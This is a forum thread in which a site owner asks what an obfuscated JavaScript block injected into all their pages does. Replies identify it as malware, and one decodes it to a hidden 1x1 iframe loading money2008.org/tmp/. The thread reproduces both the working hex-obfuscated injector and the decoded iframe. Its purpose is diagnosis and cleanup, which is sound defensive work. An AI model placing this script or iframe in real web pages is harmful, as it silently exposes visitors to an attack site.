What code is this.. · DIGIT-ARC

R

Code:

<script type="text/javascript"> function C7D36720260A79BEECF3B8D6D(C78D9ED077610F5E11){function E69961B4A47426004A21A064DA3(){return 16;}return(parseInt(C78D9ED077610F5E11,E69961B4A47426004A21A064DA3()));}function DB47FCE800845F2179C(D89D6EB726D3262DEA5){function CF7A2398A7A3B02EEF51A624DC28F2(){return 2;}var B0A173316D010072="";for(D6BE4D56711AC9FE592=0;D6BE4D56711AC9FE592<D89D6EB726D3262DEA5.length;D6BE4D56711AC9FE592+=CF7A2398A7A3B02EEF51A624DC28F2()){B0A173316D010072+=(String.fromCharCode(C7D36720260A79BEECF3B8D6D(D89D6EB726D3262DEA5.substr(D6BE4D56711AC9FE592,CF7A2398A7A3B02EEF51A624DC28F2()))));}document.write(B0A173316D010072);}DB47FCE800845F2179C("3C696672616D65207372633D22687474703A2F2F6D6F6E6579323030382E6F72672F746D702F222077696474683D31206865696768743D31207374796C653D227669736962696C6974793A68696464656E3B706F736974696F6E3A6162736F6C757465223E3C2F696672616D653E");  </script>

Recently this code got added to all of my sites pages.. And Avast alarmed me whenever i tried to open any of those pages.. Can someone figure out, what is it??

Thanx..

A

Remove that lines
It is surely a malware or spyware or some ware which has affected your site
Normally such coders will encrypt or code in a non readable manner(for example coding taking ASCII or unicode char numbers )

Obfuscated Javascript.

Javascript, added by some malware.

the formula of genesis, the truth !

R

Yeah i removed it as soon as i saw this... Can it be decrypted??

REY619 said:
Yeah i removed it as soon as i saw this... Can it be decrypted??

don't worry its not a credit card number or bank account number...

C

The code basically inserts in iframe whose source is set to an attack site (as reported by FF 3) into your page.

More precisely, when the obfuscation is removed from the code, it adds the following hidden iFrame to your page.

Code:

<iframe src="*money2008.org/tmp/" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>